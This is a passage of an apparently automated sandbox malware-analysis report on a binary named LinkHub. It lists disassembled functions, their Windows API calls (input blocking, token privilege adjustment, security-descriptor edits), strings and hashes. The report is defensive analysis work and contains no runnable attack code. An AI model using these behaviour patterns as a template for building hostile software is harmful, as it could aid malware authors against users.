                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AdjustCloseHandlePrivilegesToken
                                                                            • String ID:
                                                                            • API String ID: 81990902-0
                                                                            • Opcode ID: 2dc3bce3da114f4935dc2f84ae765d6848a6a610a60e6f1cd7b7c3ce6435fb32
                                                                            • Instruction ID: bd27d0fe16679fbc2a50255021d9943b0c9f9d79b4d2d95ca22ad86309c18410
                                                                            • Opcode Fuzzy Hash: 2dc3bce3da114f4935dc2f84ae765d6848a6a610a60e6f1cd7b7c3ce6435fb32
                                                                            • Instruction Fuzzy Hash: 7DE04F72008614AFE7252B11FC09F737BE9EB04351F15881DF595D1471DBA26C90DB20
                                                                            Function 00E4F4FF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • BlockInput.USER32(00000001), ref: 00E4F51A
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: BlockInput
                                                                            • String ID:
                                                                            • API String ID: 3456056419-0
                                                                            • Opcode ID: 2e78f9b843d7a13194ea25794c7c8edae8688fff6aa07e8c19415c9f332c4fea
                                                                            • Instruction ID: c81d7285287686c0e2a372864c508b418dc2a56a31f227d3491894fb3a39dbd1
                                                                            • Opcode Fuzzy Hash: 2e78f9b843d7a13194ea25794c7c8edae8688fff6aa07e8c19415c9f332c4fea
                                                                            • Instruction Fuzzy Hash: 73E048316142055FC710AF6AE80499AF7DDEFA4761F008426F849D7351D674FD40CBB1
                                                                            Function 00DF0D45 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SetUnhandledExceptionFilter.KERNEL32(Function_00020D51,00DF075E), ref: 00DF0D4A
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ExceptionFilterUnhandled
                                                                            • String ID:
                                                                            • API String ID: 3192549508-0
                                                                            • Opcode ID: 77abe2dd8e4dc657099e7dc3e008971d25e24bd2cbb902df3787e0caa9820870
                                                                            • Instruction ID: de620c08a77dfdd11d202f1f827d11719e1aa385a8cdbe4f604ab678850a0f7a
                                                                            • Opcode Fuzzy Hash: 77abe2dd8e4dc657099e7dc3e008971d25e24bd2cbb902df3787e0caa9820870
                                                                            • Instruction Fuzzy Hash:
                                                                            Function 00E5353B Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DeleteObject.GDI32(00000000), ref: 00E5358D
                                                                            • DeleteObject.GDI32(00000000), ref: 00E535A0
                                                                            • DestroyWindow.USER32 ref: 00E535AF
                                                                            • GetDesktopWindow.USER32 ref: 00E535CA
                                                                            • GetWindowRect.USER32(00000000), ref: 00E535D1
                                                                            • SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00E53700
                                                                            • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00E5370E
                                                                            • CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E53755
                                                                            • GetClientRect.USER32(00000000,?), ref: 00E53761
                                                                            • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00E5379D
                                                                            • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E537BF
                                                                            • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E537D2
                                                                            • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E537DD
                                                                            • GlobalLock.KERNEL32(00000000), ref: 00E537E6
                                                                            • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E537F5
                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 00E537FE
                                                                            • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E53805
                                                                            • GlobalFree.KERNEL32(00000000), ref: 00E53810
                                                                            • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E53822
                                                                            • OleLoadPicture.OLEAUT32(?,00000000,00000000,00E70C04,00000000), ref: 00E53838
                                                                            • GlobalFree.KERNEL32(00000000), ref: 00E53848
                                                                            • CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00E5386E
                                                                            • SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00E5388D
                                                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E538AF
                                                                            • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00E53A9C
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                                            • String ID: $AutoIt v3$DISPLAY$static
                                                                            • API String ID: 2211948467-2373415609
                                                                            • Opcode ID: c4870c06993bc10326785451b46cc9d9f95321025eea1822dc612ea7efeb1e68
                                                                            • Instruction ID: 8271b9b6aee65343de4d1e09d1a50070b09f78df9aee45d15de54c56c833e200
                                                                            • Opcode Fuzzy Hash: c4870c06993bc10326785451b46cc9d9f95321025eea1822dc612ea7efeb1e68
                                                                            • Instruction Fuzzy Hash: F0027A71A00205AFDB14DF65DC89EAE7BB9EF49351F008519F915BB2A0CBB4AD09CF60
                                                                            Function 00DD1625 Relevance: 53.0, APIs: 26, Strings: 4, Instructions: 480windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DestroyWindow.USER32(?,?), ref: 00DD16B4
                                                                            • SendMessageW.USER32(?,00001308,?,00000000), ref: 00E12B07
                                                                            • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00E12B40
                                                                            • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00E12F85
                                                                              • Part of subcall function 00DD1802: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00DD1488,?,00000000,?,?,?,?,00DD145A,00000000,?), ref: 00DD1865
                                                                            • SendMessageW.USER32(?,00001053), ref: 00E12FC1
                                                                            • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00E12FD8
                                                                            • ImageList_Destroy.COMCTL32(00000000,?), ref: 00E12FEE
                                                                            • ImageList_Destroy.COMCTL32(00000000,?), ref: 00E12FF9
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
                                                                            • String ID: 0$($($(
                                                                            • API String ID: 2760611726-1684351147
                                                                            • Opcode ID: 8bcd801d246ed5f00ebc0bf41c42a6d4c3d2c72a3ac173e1937b21a93e5a1a24
                                                                            • Instruction ID: 495af0efec5d04bbe5e89718e1c3b36adc120b5e9cf2c3790bcfaeeb55227f88
                                                                            • Opcode Fuzzy Hash: 8bcd801d246ed5f00ebc0bf41c42a6d4c3d2c72a3ac173e1937b21a93e5a1a24
                                                                            • Instruction Fuzzy Hash: 7C12BE34604201EFC725CF28DC44BAAB7E1FB49304F58556EF695BB261C731E89ACBA1
                                                                            Function 00E5316E Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DestroyWindow.USER32(00000000), ref: 00E5319B
                                                                            • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00E532C7
                                                                            • SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00E53306
                                                                            • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00E53316
                                                                            • CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00E5335D
                                                                            • GetClientRect.USER32(00000000,?), ref: 00E53369
                                                                            • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00E533B2
                                                                            • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00E533C1
                                                                            • GetStockObject.GDI32(00000011), ref: 00E533D1
                                                                            • SelectObject.GDI32(00000000,00000000), ref: 00E533D5
                                                                            • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00E533E5
                                                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E533EE
                                                                            • DeleteDC.GDI32(00000000), ref: 00E533F7
                                                                            • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00E53423
                                                                            • SendMessageW.USER32(00000030,00000000,00000001), ref: 00E5343A
                                                                            • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00E5347A
                                                                            • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00E5348E
                                                                            • SendMessageW.USER32(00000404,00000001,00000000), ref: 00E5349F
                                                                            • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00E534D4
                                                                            • GetStockObject.GDI32(00000011), ref: 00E534DF
                                                                            • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00E534EA
                                                                            • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00E534F4
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                                            • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                                                            • API String ID: 2910397461-517079104
                                                                            • Opcode ID: 5e1952737b1b6b4a3204d92ab8df00607c85e64525bf5c9beec3fabbbcc07cf5
                                                                            • Instruction ID: 22580c0a2dcd65f3b556d3b19b014b9e209bbdb2e941de14e40410300c11559b
                                                                            • Opcode Fuzzy Hash: 5e1952737b1b6b4a3204d92ab8df00607c85e64525bf5c9beec3fabbbcc07cf5
                                                                            • Instruction Fuzzy Hash: 32B14C71A00205AFDB14DFA9DC49FAEBBA9EB09751F004519FA15F72A0C7B4AD44CBA0
                                                                            Function 00E45524 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SetErrorMode.KERNEL32(00000001), ref: 00E45532
                                                                            • GetDriveTypeW.KERNEL32(?,00E6DC30,?,\\.\,00E6DCD0), ref: 00E4560F
                                                                            • SetErrorMode.KERNEL32(00000000,00E6DC30,?,\\.\,00E6DCD0), ref: 00E4577B
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorMode$DriveType
                                                                            • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                                            • API String ID: 2907320926-4222207086
                                                                            • Opcode ID: 2aa1bd4c7dde960ae4e74f34997476c04fbeffa4d8dbe453430dd7b28d8ca622
                                                                            • Instruction ID: 5f0e404f1bd0d2e09c24bdb341ace4b72eac2a8b93750b35f23f13ca869c4f7c
                                                                            • Opcode Fuzzy Hash: 2aa1bd4c7dde960ae4e74f34997476c04fbeffa4d8dbe453430dd7b28d8ca622
                                                                            • Instruction Fuzzy Hash: 5C612332A08A09DFCB24DF24E9969BCB7B1EF45354B246067E406BB293C731DD05CB61
                                                                            Function 00DD2521 Relevance: 42.3, APIs: 18, Strings: 6, Instructions: 282windowtimeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00DD25F8
                                                                            • GetSystemMetrics.USER32(00000007), ref: 00DD2600
                                                                            • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00DD262B
                                                                            • GetSystemMetrics.USER32(00000008), ref: 00DD2633
                                                                            • GetSystemMetrics.USER32(00000004), ref: 00DD2658
                                                                            • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00DD2675
                                                                            • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00DD2685
                                                                            • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00DD26B8
                                                                            • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00DD26CC
                                                                            • GetClientRect.USER32(00000000,000000FF), ref: 00DD26EA
                                                                            • GetStockObject.GDI32(00000011), ref: 00DD2706
                                                                            • SendMessageW.USER32(00000000,00000030,00000000), ref: 00DD2711
                                                                              • Part of subcall function 00DD19CD: GetCursorPos.USER32(?), ref: 00DD19E1
                                                                              • Part of subcall function 00DD19CD: ScreenToClient.USER32(00000000,?), ref: 00DD19FE
                                                                              • Part of subcall function 00DD19CD: GetAsyncKeyState.USER32(00000001), ref: 00DD1A23
                                                                              • Part of subcall function 00DD19CD: GetAsyncKeyState.USER32(00000002), ref: 00DD1A3D
                                                                            • SetTimer.USER32(00000000,00000000,00000028,00DD199C), ref: 00DD2738
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                                            • String ID: <)$<)$AutoIt v3 GUI$($($(
                                                                            • API String ID: 1458621304-3080182634
                                                                            • Opcode ID: 955c4e5c37b9bd009f24ffa1ab0fca3556d258e7e8f6f4dbd131a50a3b729633
                                                                            • Instruction ID: c4c6de9ddfd53d85530853af3bc9793c4f05ed775369069d38a720bd97675005
                                                                            • Opcode Fuzzy Hash: 955c4e5c37b9bd009f24ffa1ab0fca3556d258e7e8f6f4dbd131a50a3b729633
                                                                            • Instruction Fuzzy Hash: 70B18D31A002099FDB14DFA9DC45BEE7BB4FB88714F10421AFA16BB294C7B0E944CB61
                                                                            Function 00E61A8F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetCursorPos.USER32(?), ref: 00E61BC4
                                                                            • GetDesktopWindow.USER32 ref: 00E61BD9
                                                                            • GetWindowRect.USER32(00000000), ref: 00E61BE0
                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00E61C35
                                                                            • DestroyWindow.USER32(?), ref: 00E61C55
                                                                            • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00E61C89
                                                                            • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E61CA7
                                                                            • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00E61CB9
                                                                            • SendMessageW.USER32(00000000,00000421,?,?), ref: 00E61CCE
                                                                            • SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00E61CE1
                                                                            • IsWindowVisible.USER32(00000000), ref: 00E61D3D
                                                                            • SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00E61D58
                                                                            • SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00E61D6C
                                                                            • GetWindowRect.USER32(00000000,?), ref: 00E61D84
                                                                            • MonitorFromPoint.USER32(?,?,00000002), ref: 00E61DAA
                                                                            • GetMonitorInfoW.USER32(00000000,?), ref: 00E61DC4
                                                                            • CopyRect.USER32(?,?), ref: 00E61DDB
                                                                            • SendMessageW.USER32(00000000,00000412,00000000), ref: 00E61E46
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                                            • String ID: ($0$tooltips_class32
                                                                            • API String ID: 698492251-4156429822
                                                                            • Opcode ID: e8cd862b94c62a467661088d788dafc8874080807d2a088b8311d6c3431126ed
                                                                            • Instruction ID: 153a588149f1ff9de10ee10c485051b3a3f20b17a36e5a19bacbb8e0c73b54ef
                                                                            • Opcode Fuzzy Hash: e8cd862b94c62a467661088d788dafc8874080807d2a088b8311d6c3431126ed
                                                                            • Instruction Fuzzy Hash: 72B1A971608301AFD715DF65D884B6FBBE4EF84394F04895DF899AB2A1C771E804CBA2
                                                                            Function 00E60CDD Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CharUpperBuffW.USER32(?,?), ref: 00E60D81
                                                                            • _wcslen.LIBCMT ref: 00E60DBB
                                                                            • _wcslen.LIBCMT ref: 00E60E25
                                                                            • _wcslen.LIBCMT ref: 00E60E8D
                                                                            • _wcslen.LIBCMT ref: 00E60F11
                                                                            • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00E60F61
                                                                            • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00E60FA0
                                                                              • Part of subcall function 00DEFD52: _wcslen.LIBCMT ref: 00DEFD5D
                                                                              • Part of subcall function 00E32B8C: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00E32BA5
                                                                              • Part of subcall function 00E32B8C: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00E32BD7
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$MessageSend$BuffCharUpper
                                                                            • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                                            • API String ID: 1103490817-719923060
                                                                            • Opcode ID: 4b9554d0e016d27c0d49384bc82a8f43f2af4c683dd1db8b452a80ad7f1e7ea3
                                                                            • Instruction ID: 2755efd74b270b32842b9755b24c1d66a6a7f0469476d2c19a491164586e776f
                                                                            • Opcode Fuzzy Hash: 4b9554d0e016d27c0d49384bc82a8f43f2af4c683dd1db8b452a80ad7f1e7ea3
                                                                            • Instruction Fuzzy Hash: 27E10D312483518FCB14DF24D95186BB7E2FF89398B14596DF896AB3A1CB31ED01CBA1
                                                                            Function 00E316D7 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E31A45: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00E31A60
                                                                              • Part of subcall function 00E31A45: GetLastError.KERNEL32(?,00000000,00000000,?,?,00E314E7,?,?,?), ref: 00E31A6C
                                                                              • Part of subcall function 00E31A45: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00E314E7,?,?,?), ref: 00E31A7B
                                                                              • Part of subcall function 00E31A45: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00E314E7,?,?,?), ref: 00E31A82
                                                                              • Part of subcall function 00E31A45: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00E31A99
                                                                            • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00E31741
                                                                            • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00E31775
                                                                            • GetLengthSid.ADVAPI32(?), ref: 00E3178C
                                                                            • GetAce.ADVAPI32(?,00000000,?), ref: 00E317C6
                                                                            • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00E317E2
                                                                            • GetLengthSid.ADVAPI32(?), ref: 00E317F9
                                                                            • GetProcessHeap.KERNEL32(00000008,00000008), ref: 00E31801
                                                                            • HeapAlloc.KERNEL32(00000000), ref: 00E31808
                                                                            • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00E31829
                                                                            • CopySid.ADVAPI32(00000000), ref: 00E31830
                                                                            • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00E3185F
                                                                            • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00E31881
                                                                            • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00E31893
                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00E318BA
                                                                            • HeapFree.KERNEL32(00000000), ref: 00E318C1
                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00E318CA
                                                                            • HeapFree.KERNEL32(00000000), ref: 00E318D1
                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00E318DA
                                                                            • HeapFree.KERNEL32(00000000), ref: 00E318E1
                                                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 00E318ED
                                                                            • HeapFree.KERNEL32(00000000), ref: 00E318F4
                                                                              • Part of subcall function 00E31ADF: GetProcessHeap.KERNEL32(00000008,00E314FD,?,00000000,?,00E314FD,?), ref: 00E31AED
                                                                              • Part of subcall function 00E31ADF: HeapAlloc.KERNEL32(00000000,?,00000000,?,00E314FD,?), ref: 00E31AF4
                                                                              • Part of subcall function 00E31ADF: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00E314FD,?), ref: 00E31B03
                                                                            Memory Dump Source
